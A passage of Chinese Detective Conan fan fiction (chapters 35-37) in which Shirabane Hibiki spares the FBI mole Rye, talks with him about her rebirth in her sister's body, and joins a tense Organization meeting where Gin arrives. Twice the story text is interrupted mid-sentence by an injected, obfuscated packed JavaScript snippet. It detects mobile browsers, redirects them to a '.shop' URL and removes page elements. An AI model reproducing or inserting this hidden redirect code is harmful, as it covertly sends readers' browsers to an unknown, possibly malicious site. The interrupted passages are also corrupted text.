这个人怎么能留这样的遗言给她? 她似乎不再能听见任何声音,只有这句话在耳边回荡。 开枪吗? 事到如今,只有开枪了吧? 送他去死,然后默默地用一整夜去欣赏他的死相,直到天亮再走? 手指用力到僵硬,扣动扳机似乎都需要全身的力气。 下一秒,她的手腕一痛,一只手扣住她持枪的手腕,猛地向上一拧。勃朗宁脱手,被抛向空中,划过弧线落在地上。 什么? 她的目光下意识追随着枪的位置,被压制在墙上的男人趁机挣脱了她的钳制 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“你没那个资格!”她嘶吼着,双目充血,“你踩着我的血,在组织里上位,受着警方的奖赏……你这个人渣!” 话音未落,莱伊突然扣住了她的后颈,毫无预兆地吻了下来。 这个吻来得猝不及防,冰冷的唇瓣贴上来,烟草的微涩与他身上清冽的气息瞬间包裹了她。恨意与怒火在胸腔里疯狂燃烧,她几乎是本能地反抗,牙关狠狠闭合,尖锐的牙齿直接咬破了他的下唇。 血腥味瞬间在两人唇齿间炸开,温热的液体顺着嘴角滑落,莱伊吃痛往后退了两步,长发与她的手指纠缠在一起,难以分开。 白羽响甩开他的桎梏,将他撞在了身后的门板上,伸手去够自己被扔在地上的勃朗宁。 她的杀心还在! 莱伊很快就意识到了这点,一把抓住她的胳膊,顺势将她的身体整个抱了起来,反制于墙面之上,再次亲吻上来。 唇齿交错间,她舔到了莱伊刚刚被她啃咬的伤口,深到皮肉外翻。 可他仿佛对疼痛毫无察觉,带着一丝激烈而决绝的意味,比起亲热更像是进攻。 “不……” 她再次试图去推开莱伊,而他却岿然不动,将她牢牢禁锢在冰冷的铁门与他温热的身体之间。 他不会松手。 尽管这人一句话都没说,但那种强烈的态度一目了然。 白羽响的掌心感受着他胸腔的起伏,报复性地再次将牙齿嵌在他的唇上。血腥味越来越浓,莱伊却依然没有停下的意思。 为什么要亲她? 这就是莱伊眼中最快能购消解她恨意的方式? 一个吻,能抵一条命吗? 明知如此,可她却依然推不开莱伊,甚至松开了牙间的桎梏。 莱伊的呼吸就在咫尺之远。那么冷冽的一个人,此时却用体温驱散了夜晚的寒凉。她的血液被晕染得滚烫,冲上脸颊,悸动悄然而至。 她想起了与莱伊相处的过往,他们似乎也曾有过这样亲密而温存的时刻。 只是那些时候,他们谁也没在意第二天能否互道早安,也不会思索突然离开的对方是否遭遇了不测,偶然的相遇就短暂地相处,刻意地让所有的情感落在欣赏为止。 想到这里,白羽响心中涌起了悲哀。 她对组织忠心耿耿,却被组织当成叛徒杀死;如今本应该是报仇的时刻,她却在和害得她没了性命的卧底接吻。 酸涩的泪意充盈了眼角,滚烫的液体顺着鼻梁而下,紧贴在二人相触的脸颊上。 她的腰肢上是莱伊的手,掌心带着常年握枪留下的粗粝枪茧,透过她单薄的衣料源源不断地传递着热量。这个疯狂而窒息的吻让她双腿的力气也逐渐被夺走,几乎要站立不稳,半靠在莱伊的躯体上。 不知过了多久,莱伊缓缓松开了她。 他下唇的伤口还在渗血,顺着下巴滴落,在月光下泛着猩红。 她微弱的低泣声回荡在空旷的仓库之中。 莱伊伸出手,替她轻轻擦去眼角的湿润。至于他的伤口,此刻好像已经发麻,完全失去痛觉了。 “聊聊?”他开口问。 白羽响没有回答这个问题。 她将目光挪向一侧,迷茫又疲惫。 这几天巨大的信息量让人疲倦。苏格兰离开米花町后,波本一直在她身侧,她却依然觉得自己孤身应对着来自未知之处的恶意。 她回过头,看着莱伊。 这家伙刚刚被她咬了好几口,血从嘴角溢出,一直流到下巴上。 真狼狈啊。白羽响抬起手,替他抹去了下巴上的一丝血迹。 曾经,她想管闲事,从组织的手上把莱伊救下来,为此搭上了自己的命。而现在,她已经几乎不明白,自己究竟是为了什么,非要取莱伊的性命不可。 她想自己今天杀不了莱伊了。 “这里不适合叙旧。”莱伊捡起了掉在地上的枪,递还给白羽响,“我们换个地方吧。” 36.另一个 白羽响坐在副驾驶座上,侧脸对着车窗。刚才那场紧张刺激的对峙,与拳拳到肉的斗殴和带着血腥味的吻一起,卷走了她一个月来积压的恨意与戾气,她耗尽了力气,此时心中一片宁静。 车里飘着淡淡的烟味,钻入鼻腔时竟让她有些恍惚。 她又一次坐在了莱伊的车上,还是在明确地知道对方是卧底之后。 “在想什么?” 莱伊的声音突然打破了沉默。 白羽响随口答道:“在想怎么把你送到别人的枪口下。” 莱伊的轻声笑了起来。 他不意外这个答案,也不意外她口中的杀意。如果不是确认她已冷静,他也不会把枪还给她。 尽管二人之间的氛围颇为微妙,但毫不影响他的交流欲。 “现在你的状态,很像换了灵魂的‘布敷女’……是什么时候的事情?死亡的当天?” 白羽响撇了撇嘴:“你不如直接说我‘阴魂不散’,或是‘借尸还魂’。” 重生以来,她一直保守着这个秘密。家人、朋友、搭档,一个都不曾谈起。憋在心里这么久,也确实需要找人交流。 哪怕这个人是身为卧底的莱伊。 “不是死亡的当天,大概是在事情发生的七天后吧。我在出任务的途中醒来了,身边还坐着某个很久不见的熟人。确认那家伙是波本的时候,我还以为自己在做梦。” 那个时候的周围的一切都状况不明,但心态却比现在轻松许多。 越是挖掘秘密,心态就越是沉重。她不怕背负一切,但是担心自己在没解开谜团之前就遭遇不测。 那她会觉得很憋屈的。 “这么说到现在已经将近一个月了?”莱伊的口吻有些意外,“为什么不第一时间来找我?” “那是……” 因为她以为莱伊跟她一起死了,还觉得人死债消,甚至心里很遗憾。 “因为我要报复你。”白羽响嘴硬道,“我要你赔命,当然要好好筹谋。” 莱伊开着车“嗯”了一声,没做其他反应。 沉默再次蔓延在车内,白羽响看着两侧倒退的树木,抬手按下车窗。 夜风瞬间灌了进来,带着夜露的湿冷,刮起她散乱的长发。黑色的发丝打在脸颊上,有些发痒,她胡乱地将头发别到耳后。 她正打算吹吹风冷静冷静,车窗却再次升了上去。白羽响愣了一瞬,看了一眼按动了主控制台上车窗升起键的莱伊,皱起了眉头。 怎么连吹风都不让? “你干什么?” “我有些事跟你说。”莱伊简单地说道,“是关于你‘借尸还魂’的事情。” 白羽响收回了准备再度摇下车窗的手,看着莱伊平静的侧脸。 “我见过一个和你类似情况的人,他在十几年前因为一些事情不知所踪。”莱伊缓缓说道,“几年前,我从电话里听到过他用‘别的人’的声音与我对话。” 白羽响对此嗤之以鼻:“失踪了十几年的人,直到几年前才来找你。这怎么听都像诈骗吧?” “的确。”莱伊继续说道,“容貌、身材、声音变了,时间也过去了很久。但是……” 说到这里,莱伊停顿了下来。 白羽响猜测道:“他说出了令你信服的事情?你们的秘密之类的?所以你就相信了?” 莱伊的目光看着前面的路,沉默了一会儿之后说道:“不……” 他当然没信,甚至要求见上一面。 时间早已过去了许多年,一切都变了,但在桥面上遥遥见到那个人的第一时间,熟悉的感觉就涌上了心头。因为一些原因,他们没有直接地对上话就再次分离了,后来他为此卧底组织,时至今日都没能再见上第二面。 当然,即使见上了,似乎也没有什么意义。就如那个人所说的那样,他只有十分短促的时间可以控制那具身体,两种不同的意识共存在一具身体之内,在外人看起来,就像是…… 人格分裂。 或者说,“鬼上身”。 他抛出了一个问题:“‘降神’和‘幽灵附体’,是不是很相似?” 熟悉的关键词让白羽响呼吸一促。 莱伊知道与“降神计划”有关的事! 虽然雪莉说这个计划中除了她以外的实验体都死了,但如果莱伊说的是真的,那么除了她,这个计划还有别的“漏网之鱼”? 她立刻追问道:“你说的那个人现在在哪里?我要和他见一面。” “可以,但我也不知道什么时候能再次见到他。”莱伊说到这里,笑了笑,“用带你去见他的承诺,交换你暂时不杀我的决定,如何?” 那当然是成交,她都想不出任何理由来拒绝这个提议。白羽响将枪收回了枪托,示意她答应了这个交易。 尽管眼前的人是FBI送进组织的卧底,但她现在也不完全在为组织效力。想起那些被她无意之间发现的秘密,畏惧与厌恶就爬上了心头。 她主动与莱伊说起了与这具身体的关系:“如果波本的调查没有错,我和我现在正在用的身体,应该是同父同母的亲姐妹。过去的二十几年里,我完全不知道自己还有一个妹妹。” 而且随着她占据了这具身体的主导权,妹妹的意识似乎再也没有回到这具身体之中。 心中不由浮现出下午在波本处看到的那份DNA报告。 白纸黑字,冰冷的碱基序列,像一把钥匙,指向了一个潘多拉的魔盒。 姐妹。 她,枡山乡音,与白羽响,是姐妹。 “而且……或许我和妹妹各有一个很长时间的观测者。就像记录实验那样,在记录我的一切。” 她思索着童年的记忆,从孤儿院到进入组织的训练营,那几年时间飞逝,身边的孩子姓甚名谁早就不得而知,最终记忆停在了皮斯科将她接走的那一天。 那时她十岁,进入了组织严酷的模拟任务之后,身边的孩子一个个被淘汰,却仍然毫无惧意地朝着自己的目标进发。最终她爬到高台处,挣扎着再次被人击落,摔得头破血流后,那个穿着昂贵西装、笑容温和的男人走到她面前。 他带走了年幼的乡音,让她成为了枡山家的养女。 那天起,她有了养父皮斯科,有了义兄爱尔兰。 十三岁那年,爱尔兰第一次正式带她出任务。 别的孩子还在教室里读国中,她却穿着一身得体的连衣裙,端着一杯加了料的咖啡,对着皮斯科的合作对象露出标准的微笑。 那人喝完咖啡,身躯轰然倒塌时,她甚至没在第一时间意识到自己做了什么——那是她与对方的第一次见面,她没有动机,也不知道那里面是致命的毒药。 爱尔兰摸着她的头说“乡音真能干”时,她才迷茫地看着自己的双手,突然反应过来,那双手上已经沾上了洗不掉的鲜血。 他们给予了她温暖,也让她成为了杀人的刽子手。 如果那份文件之中,也有一个名字属于“枡山乡音”,那么她的观测者又会是谁?皮斯科?爱尔兰? 曾经的家人变得遥远,她不敢深想,猜对猜错都是一种负担。 “有人在监视你?现在的你?”莱伊从她的话语中捕捉到了关键词。 不知不觉,他的车已经驶入一条僻静的暗巷,引擎熄灭后,只剩下窗外偶尔掠过的风声。他侧头看着她,眼底的深邃在昏暗的光线下愈发明显,下唇的伤口还残留着淡淡的红痕。 白羽响看着他绿色的瞳孔,沉默了几秒,才缓缓开口,声音带着一丝沙哑:“是。可能是波本,也可能是贝尔摩德。” 莱伊挑眉,示意她继续往下说。 “从接触的时间上看,贝尔摩德的可能性更大一些,但是波本也并非全无可能。”白羽响说道,“哦,对了。波本要算计你。” 她说起了波本的计划。 “他让富泽家准备三亿日元买命财,又让我在你取走现金时拍下受贿证据,再把黑川郁夫遇袭却没死亡的账算在你头上,顺理成章地给你扣上叛徒的帽子。”说起这些,她深深舒了口气,“当然,我临时变卦了,没按他的要求做。现在你活着,照片也没拍给他,我的麻烦大了。” 庇护了莱伊,就意味着要和波本撕破脸皮。 她下意识摸到了手机上,想起了苏格兰早前给她发的消息。 苏格兰要她遵从本心做决定,她做到了。但这个决定让事情不好收场。 她不由觉得头痛。 波本的消息从几分钟前就不停发来,催促得很急,但她现在有自己的打算,至少在调查清楚“降神计划”之前,她不想把莱伊卖给波本。 莱伊听完,脸上没有丝毫意外,依旧是那副平静无波的模样:“要我配合你行动吗?我可以现在开车回仓库,重新拍那张照片。” “不要。” 白羽响一口拒绝了这个提议。 无论如何,她都会和波本有一场争吵。 如果她用欺骗的手段搪塞波本,和他表面一套背后一套的行径又有什么区别呢? 莱伊见她不说话,开口说道:“波本是为了你的死,才临时决定回日本的。他是在为你报仇。” 是吗? 才不会这么单纯。 利用、欺瞒、调查、野心,没有一处让她觉得这是一个“会因为她死了而回到日本”的男人。打着“为她报仇”旗号、实则利用她,更像是为了铲除异己。 “或许他就是看你不爽而已。”白羽响哼了一声,“你就是那种人。看着就让人讨厌。” 莱伊的鼻间发出一丝笑意,没答话。 暗巷里的光线很暗,只能隐约看清彼此的轮廓。 白羽响看着窗外斑驳的墙面,脑海中又想起了这附近似乎有她以前的一处安全屋。之前她悄悄去勘察过,警方似乎并没有发现那些安全屋的存在。 有了上次安全屋内闯入外人的经历,她不敢再贸然前往她从前的安全屋了。 这些安全屋的房东都不是组织内的人,在他们的眼里,曾经的响酒只是一个普通人。她也不能挨个撬锁进去,万一惊动了房东,或者被组织的人察觉端倪,只会徒增麻烦。 上次闯入她曾经的安全屋的人,难道是波本? “我的遗物,现在在谁手里?”她突然开口问道。 莱伊转头看了她一眼,沉默片刻后说道:“你被组织认定为叛徒之后,很多东西都被琴酒的人带走了。爱尔兰当时远在欧洲,来不及干预;皮斯科为了避嫌,也没敢插手。” 白羽响的心沉了沉。 皮斯科会明哲保身她猜到了,至于爱尔兰……也不知道他对自己的死会有什么反应。 他们兄妹的感情很深,或许会为她流泪?但他对组织也很忠心,也或许会像皮斯科一样保持沉默。 伊继续说道:“不过,可能还有一部分在苏格兰手里。” “苏格兰?”白羽响猛地抬头,十分惊讶。 “你出事那晚,仓库爆炸后,所有人都以为里面的人活不成了,警方的人就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145473|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上,但是他执意闯了进去。”莱伊停顿了一下,继续说道,“他因此招惹了不小的麻烦……” 白羽响的心脏像是被什么东西攥住了,密密麻麻地疼。 苏格兰……是为了她冲进了那个仓库吗? 面临着危险和火光,他见到了她的死相吗?所以刚见面的时候,他那么消沉,还捡回了已经戒掉的烟。 那天她发消息给苏格兰只是日常的报备,话语中既没提到是为了莱伊的任务,也没说明这一趟出行的危险性。没收到苏格兰的回复,她就直接出发了,最后死在了那场爆.炸中。 那个人竟然会跟着这几句语焉不详的消息找了过去,还被她的事情连累。 一股浓烈的愧疚涌上心头,让她眼眶微微发热。 “你可以坦白身份,跟他把东西要回来。”莱伊看着她的神色,缓缓说道,“你们相处了挺久,苏格兰也不是会出卖朋友的人,你开口了他一定会答应的。” 是这样没错。 但白羽响却毫不犹豫地摇了摇头,语气坚定:“不了。” 她不能承认。 一来,意识到了苏格兰对她的深情厚谊,她反而更难面对他;二来,她现在正和莱伊这个FBI卧底坐在一起,等同于在包庇组织的叛徒,她不能再因为自己的事,第二次连累苏格兰。 以她对苏格兰的了解,时机未到,他就不会主动发问。而只要他不问,她就不用明说。 莱伊看着她眼底暗涌的情愫,突然勾起嘴角,露出一抹意味深长的笑。 “原来如此,你喜欢苏格兰。”他语气带着几分调侃,“眼光很好,他是个不错的男人。” 白羽响看了他一眼,心头涌上一股莫名的火气。 半个小时前莱伊还在抱着她激烈地亲吻,现在竟然用这种暧昧的语气谈论别的男人。 这个人的心也未免太大了吧? 莱伊确实毫不放在心上。调侃完这句以后,他从口袋里掏出一根烟,熟练地放进嘴里,指尖夹着打火机,正要点燃。 白羽响探过身,一把夺过他口中的烟,打开车窗,扔出了窗外。 “我说过,跟我在一起的时候不许抽。” 她不喜欢烟味,还不爽这个人。 莱伊的动作顿住,看着窗外黑暗的巷口:“那上面有我的DNA。” “DNA”三个字,再次精准地刺中了白羽响的神经,下午在波本那儿发现了DNA报告的膈应感再次翻涌上来。 她冷笑了一声:“你不是条子吗?出了事应该很好和警方解释吧。” 莱伊看着她眼底燃起的烦躁,眸色沉了沉。 他能听出她语气里的发泄意味,或许是单纯对放过他这件事仍然心有不甘,又或许是因为他刚刚说错了什么话。他没有再说话,只是沉默地将打火机放回口袋,车厢里再次陷入寂静。 最后还是白羽响叹了口气,打破了沉默:“不说那些了。波本提过今天凌晨组织要开会,他会把你没杀死黑川郁夫的事呈上去。就算没有受贿的照片,你也要准备好面对他的诘问。” 莱伊却不以为意地笑了笑,抬手打开了车载广播。 一阵电流声后,女播音员清晰的声音传来,打破了车厢里的凝重。 “紧急新闻播报:今日晚间被报道‘死而复生’的朱雀科技研究院院长黑川郁夫,于今晚十一点三十分左右被发现死在家中,死因系头部中枪,现场未发现打斗痕迹……” 莱伊听完这一段话,满意地将广播关掉。 白羽响脸上露出一丝惊讶,随即又恢复了平静。 果然是莱伊的风格。 他永远都这么强大,这么让人捉摸不透。 如果不是她亲耳听到他承认,无论如何也不会相信,这个任务完成率高得吓人、在组织里地位稳固的男人,竟然是FBI的卧底。 “黑川很会躲藏,他的住所四周没有高楼,易守难攻,而且他几乎不出门,一直待在地下实验室。”莱伊慢悠悠地解释道,“这几天蹲守,我几乎没找到机会,直到今晚有个私人记者试图翻墙闯入,他才破例出来制止——那是唯一的机会。” “你近距离开枪了?”白羽响问道。 “不。”莱伊笑了笑,“我在几百码外的一栋五层楼里,那里有个录音室,吸音效果很好,适合狙.击。” 白羽响下意识地打量了他一眼。他穿着黑色风衣,长发随意地披在肩头,浑身散发着生人勿近的冷冽气息,这副模样,倒真有几分像搞音乐的阴郁男。 “没有十足的把握,波本不会随便发难,我今晚很安全。”莱伊看着她说道,“现在我先送你回住所。” “不需要。”白羽响立刻拒绝,她闭上眼睛,靠在椅背上,“我跟你一起去组织的会议。” 莱伊有些意外地看着她:“你跟着我去,会撞在波本的枪口上。” 这不是明智之举。 白羽响明白莱伊的意思。 的确如此,但不破不立。她要从波本的手中夺回主动权,哪怕是决裂也在所不惜。反正事情已经变得这么糟糕,她做什么都对不起苏格兰在从中斡旋的努力了。 她睁开眼:“我做好准备了。大不了跟他同归于尽。” 还有组织里的那些“老朋友们”,她也得挨个见上一见才行。 莱伊看着她眼底的决绝,沉默了几秒说了一句勉强算安慰的话。 “死不了的,我保证。” 说着,他重新发动车子,引擎的轰鸣声在暗巷里响起。 37.对峙 Magic High,一家不对外开放的会员制俱乐部,组织今晚的约见地点。形式类似于组织常用的大黑大楼的顶楼的酒吧Cocktail。 室外的电梯直达顶楼,负责电梯运行的是一位高挑的外国姑娘,穿着一身紧身的工作服,有一头银色的长发。 熟悉的样子让白羽响下意识看向她的双眼,心中有些惊讶。 虽然模样发生了些许变化,但她认识这个女孩,是曾经在组织训练营中打过照面的人。那个时候,这个女孩因为一双特殊的眼睛和独特的国籍给她留下了深刻印象。 她记得,这个姑娘叫波琳娜……不,现在应该被叫作库拉索。总之,是一个拥有异瞳的白俄罗斯女孩。 大概是她频频看向库拉索的目光有些明显,莱伊回过头看了白羽响一眼。二人目光相接,白羽响才将目光收了回来。 顶楼很快就到了,半开放式的天台上吹着微风。冷白的射灯嵌在遮棚下方,在露天的区域投下斑驳的光影。组织的成员们大多坐在暗处,各自找了一个角落,人多但完全不密集。 听着身后的电梯下行,莱伊问道:“你认识?” “嗯。”白羽响咬了咬下唇,“库拉索,最近在给朗姆做事。她不怎么回日本,好几年没见过了。” 准确的说,是作为响酒的她认识。有关库拉索的事,还是从爱尔兰的嘴里听见的。 波琳娜在得到“库拉索”这个代号不久之后,就一不小心目击了什么对组织不利的事情。本来boss下令杀了她,但是因为有特殊的记忆能力,她被朗姆救了下来,收为己用。 特殊的记忆能力…… 在记忆里,波琳娜的记忆似乎是一种天赋,她有类似于记忆宫殿的能力,凡是见过的东西,只要找对了开启记忆宫殿的钥匙,她就能像百科全书一样,几乎一字不落地背诵出来,无论过了多久。 白羽响自认没这个本事,也想象不来这种能力究竟是如何做到的。只是最近有关记忆与意识的故事听得有些多,她都开始怀疑组织是不是在背地里做些什么脑部方面的研究和实验。 她正想着,莱伊突然停下了脚步,说了一句—— “今晚琴酒可能回来。” 听到这个熟悉的名字,白羽响心中一凛,顺着莱伊目光所视之处粗略地扫了一眼,今晚到的人还真是齐全。 波本、贝尔摩德、伏特加、雪莉,甚至还有坐在角落栏杆上、百无聊赖转着狙.击枪的基安蒂,每一个代号都如雷贯耳。还有些认识脸但叫不出名字的组织人员也在,应当还没有代号。 往前走了两步,她就知道了莱伊这么说的原因——这个天台无遮挡的露天部分是个小型的直升机停机坪。 的确是琴酒的做事风格,烧钱、高调、拉风。 几乎是他们出现的瞬间,所有目光都齐刷刷地聚焦过来。 波本站在遮棚边缘,黑色西装被风吹得紧绷。看清他们二人一同出现的一瞬间,他的眼睛微微睁大了一瞬,随后眉头紧皱,盯着白羽响的脸,久久没有挪开眼睛。 白羽响扫视了一遍在场的众人,最后目光也落在波本的身上,平静地与他对视。 嘴角倒挂着,看得出来他很不开心。 不过,今晚她带来的本来也不是好消息。 “莱伊,你怎么把生面孔带来这里?”基安蒂率先问了一句,“她是谁?” 白羽响瞥了一眼基安蒂,无视了她语气中的敌意,看了一眼身侧的莱伊,给了他一个眼神。 这种时候,急于介绍自己就是沉不住气,她不打算这么做,直接把事扔给莱伊得了。反正莱伊发话就相当于她有了通行证,没人会深究她究竟是谁。 于是,莱伊简单地回应了一句:“我的人。” 这话一出,贝尔摩德的笑声先响了起来。 她斜倚在柱子旁,长发松松垮垮地扎着,搭在肩上,红唇边噙着惯有的慵懒笑意。 “她可不是生面孔,对吧波本?” 说完,她故意瞥了白羽响和莱伊一眼,又似笑非笑地看向波本。 这看好戏一样的目光流转让波本脸上有些挂不住。他只能收拾了脸上阴冷的神情,轻哼了一声,什么也没有说。 “出现在这里,就意味着杀死黑川郁夫的任务成功了吧?”贝尔摩德说着,又看向波本,“刚刚波本还在说,莱伊的任务失败,今晚未必会露面呢。” 莱伊面无表情,眼神都没动一下,算是默认了贝尔摩德的说法。 角落里的基安蒂突然疯癫地笑了几声:“完不成任务就来,脑袋不得被打成筛子!” 莱伊依然没有接话的打算。他靠在一根柱子旁,沉默地听着周围的动静,任由这群人对他的行动成功与否进行猜测。 他不发话,跟着他一同来的白羽响自然也一声不吭。 她的目光扫过坐在伏特加身边坐着的雪莉。女孩穿着白大褂,脸色平静无波,看起来没有遭遇什么危险。对上雪莉的目光,白羽响的神色柔和了两分,朝她微微点头。 “黑川那边拿来的东西,分析过了吗?” 开口提问的是贝尔摩德。 白羽响的注意力被吸引回来,余光再次撞向了波本的眼底。 她毫无负担地回望波本。 “分析过了。”伏特加粗声粗气地开口,“不过黑川那家伙根本没推进实验,全是废弃数据,真搞不懂他这些年在躲着做什么。” 雪莉闻言抬头看了一眼伏特加。 伏特加是不会懂得实验数据的珍贵的,对于他来说,琴酒说那是废弃数据,就是真的一文不值。 不过,这是已知的旧情报了。 白羽响不感兴趣,波本也一样。 那家伙依然一脸不悦地盯着她。 不知为何,这幅怒容好像比他平时算计人时候的笑意更自然两分,或许是因为更贴近他真实的情绪,看着也更顺眼。 想到这点,白羽响微微哂笑。 她背离了波本的计划,但波本利用她在先。二人的合作原本就是各取所需,凭什么只能波本占尽优势?她偏要从中作梗一回。 既然波本不打算在大庭广众之下与她争吵,那隔着遥远的距离,用目光互相“问候”,也很有意思不是吗? “算了。黑川死了,药物也没有外泄。”贝尔摩德看着自己的指甲,“姑且算是任务成功。” 随着任务的话题结束,波本的目光总算慢悠悠地从白羽响身上转开了。他的双眼盯着周围的地面,似乎在沉思着什么。 波本在想什么? 白羽响警惕地思考着。 没有实证,波本没法在组织面前对莱伊发难,但离开这里后,一场冲突在所难免。 她的确做好了迎接愤怒的准备。但波本会怎么做呢? 没想到的是,波本开口说的是一个完全不相干的话题。 “我听朗姆说,下一次任务行动已经定下来了,地点依然在米花町这一片。”他顿了顿,继续说道,“如果下一次任务也需要用到炸.弹之类的东西,我还有机会再见到那种别致的小玩意吗?” 他说着,伸出两根手指比了比:“就是那种……微小的,贴在玻璃上的。我听说它出自于组织最近招募的某位人才之手,是真的吗?” 波本对那个感兴趣? 白羽响思索了一会儿,他说的应该是那个用无人机操控,贴在玻璃上爆破的微型炸.弹。威力不大,但却很实用。 “是啊。”伏特加点头,语气毫无负担,“上次炸死响酒的炸.弹,也是他的手笔。” 这句话让现场瞬间安静下来。 白羽响在沉默的阴影中猛地抬起头,目光死死盯住伏特加。 他该死。 杀人不眨眼的杀手很多,但她就是恶心伏特加讨论她的死亡的口吻。 这张蠢笨的脸,轻描淡写地提起夺走她性命的炸.弹,仿佛那只是一件无关紧要的东西。 她的指尖几乎要嵌进掌心,周身的气场都冷了几分,眼神里的戾气几乎要溢出来。 “伏特加,就我们几个,你说说也就算了。”贝尔摩德托着下巴,“爱尔兰已经在回日本的路上。要是回头被他听见,搞不好会拔枪对着你的。” “随他怎样。”伏特加冷笑了两声,“响酒是叛徒。如果他也想像响酒一样背叛组织,大哥一定不会放过他的。” 可恶。 可恶…… 这群人,背后还在商讨着怎么对付爱尔兰。 他们竟然以她作为把柄,让爱尔兰失去理智露出破绽! 令人窒息的愤怒席卷了她,一道高大的身影突然侧过半个身子,挡住了她的视线。 莱伊不知何时往她身前挪了半步,他本就身形颀长,此刻微微垂眸,阴影恰好笼罩住她的脸,带着一种居高临下的压迫感,讨厌得让人牙根发痒。但不得不承认,这突如其来的阻拦,恰好遮住了她眼底几乎要失控的恨意,避免了在众人面前暴露破绽。 她逐渐冷静了下来。 这是一笔血债,但现在还不是讨回的时候。 “让开。”白羽响轻声说道,“我忍得住。” 莱伊侧身让开了一些,但还是将她大半张脸藏在身后。 从有限的视线范围内,她看见波本再次投来的目光。 他没再像刚才那样死死盯着白羽响的脸,视线却在她和莱伊之间来回逡巡,带着浓烈的审视与不甘。 尤其是看到莱伊侧身护住白羽响的那一幕时,他原本就紧锁的眉头拧得更紧,下颌线绷得笔直,连带着周身的气场都冷得发沉。 那固然是被背叛的愤懑,但也有对莱伊的敌意,更有困惑与疑虑。 波本不明白。 白羽响曾是他计划里的一环,如今却站在仇人的身边,甚至还是以突如其来的“绑定关系”出现的,这让他极度不爽。之前使了不少手段,他还以为自己已经摸到了真相,但实际上,他还是没摸清白羽响的底细。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148323|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两个人本应该是仇人,究竟为什么会走在一起? 就在这时,远处传来直升机的轰鸣声,由远及近,越来越响。 所有人都下意识抬头,一架黑色直升机冲破夜色,悬停在天台上方,螺旋桨卷起的狂风让射灯剧烈晃动,吹得人几乎站不稳。 琴酒来了。 几乎在场的所有人的心里都再说这句话。 果不其然,直升机的舱门打开,琴酒的身影出现在了众人的视线之中。他的黑色风衣随直升机卷起的风一同扬起,银色长发飘动着,脸色苍白得近乎病态。唯独那双眼睛,墨绿冰冷,带着从尸山血海中浸泡出来的冷酷,扫过天台上的每一个人。 一时之间,无人说话,仿佛空气中凝固了。 “大哥。”伏特加往前走了一步。 琴酒没理会他,目光落在伏特加身边的女孩身上:“雪莉。” 雪莉的身体猛地一僵,脸色瞬间褪去血色,眼底闪过明显的不情愿与抵触。她下意识地往后缩了缩。 “走吧,雪莉。”伏特加的语气带着不容置疑的强硬。 雪莉咬着唇,眼神里满是抗拒与不甘,却终究没敢反抗。她回头看了一眼天台,目光掠过白羽响,最终上了那架直升机。 白羽响站在暗处看着这一幕。 琴酒不会无缘无故地出现,更不会毫无目的地召集组织成员开会。特地过来飞一趟,自然也不会是单纯为了带走雪莉。 直升机的轰鸣声再次变大,琴酒却回过头,看了一眼留在天台上的众人。 “黑川的任务拖到现在,别以为我不知道是怎么回事。” 他的声音没有任何起伏,却带着穿透风声的寒意。 “谁要是敢因为私人恩怨,坏了组织的事——” 他顿了顿,目光一一扫过在场的所有人,眼神没有丝毫停留,却让人汗毛倒竖。 “不管是谁,下场都一样。” 没有多余的威胁,没有具体的指责,却字字带着血腥的威慑力。他不需要点明是谁在搞鬼,也不需要追问细节——在他眼里,任何内讧都是对组织的背叛,而背叛者,只有死路一条。 呵,如果真是这样也就算了,琴酒自己可没少在任务里报私仇。 只要不坏组织的事,内讧什么的,他才不会管。 白羽响在心里冷笑,口袋中的手指已经摸在了勃朗宁的枪身上。 仇人就在眼前,可她现在只能忍着,继续等待合适的时机。 直升机很快消失在夜色中,风跟着渐小,最终归于平静。众人简单地交流了几句,也纷纷散去,谁也没具体地商量刚刚波本提到的下一个任务是什么。 组织里的人总是喜欢找自己熟悉的地方私下交谈,这种人多的场合,反而问不出什么东西。 白羽响看着离开的人越来越多,却没直接走。波本必然要找她,她也不打算早退,反正她是跟着莱伊来的。 只不过,先向她走来的是贝尔摩德。 “你很有勇气。”她的嘴角依然挂着微笑,“也很有本事。我们还会再见的。” “过奖。”白羽响对她的夸赞不感冒。 一想到这个人或许正是妹妹的观测者,她就没有任何好感。 贝尔摩德并不在意,只是笑了笑。她绕过白羽响,朝着出口走去。 白羽响目送了她两三步,回过头的时候,波本已经站在她和莱伊的面前。 他的目光扫过莱伊无所畏惧的脸之后,又落在了白羽响的身上,周身的气场冷得像冰。 白羽响站在原地,坦然迎上他的目光。 她知道,从她做出反水的这个决定开始,就注定要与波本产生冲突。他要的照片迟迟没发到手上,自己又跟着莱伊一同来了这里,他恐怕是气得不轻。 “你真是会给我惊喜。”波本挂起了嘲讽的微笑,“你不会打算告诉我,几个小时的时间,你们已经干柴烈火,做了情人吧?” 白羽响瞥了一眼身边的莱伊,从前还差不多真是这么回事。 波本的直觉很准,但她还是予以了否定。 “你的想象力可真丰富,波本。甚至比你周全的计划还让人惊叹。” 她刻意加重了“计划”两个字,精准戳中波本的痛处。毕竟当初利用她布局,最后却被她摆了一道,这可是波本眼下最憋屈的事。 他没有了对莱伊动手的筹码,因为她的缘故。 白羽响回头看了一眼莱伊:“你先走,我要和他谈谈。” 莱伊颔首,对白羽响说道:“我在楼下等你。” 看着他俩熟稔的互动,波本冷笑了一声,咬牙切齿:“走什么?不如一起谈。” 